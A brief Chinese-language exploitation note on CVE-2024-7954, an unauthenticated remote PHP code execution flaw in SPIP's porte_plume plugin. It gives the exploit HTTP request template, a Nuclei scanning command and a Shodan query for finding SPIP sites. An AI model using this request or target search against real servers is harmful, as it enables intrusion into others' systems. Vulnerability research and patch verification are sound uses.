SPIP 4.30-alpha2、4.2.13 和 4.1.16 之前版本使用的 porte_plume 插件存在任意代码执行漏洞。远程未认证的攻击者可以通过发送特制的 HTTP 请求，以 SPIP 用户的身份执行任意 PHP 代码。（严重）
利用方式：
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
data=AA_[->URL]_BB
使用工具：
Nuclei -l(target file) -t(Templates) CVE-2024-7954.yml
Shodan 搜索语法：
app="SPIP"
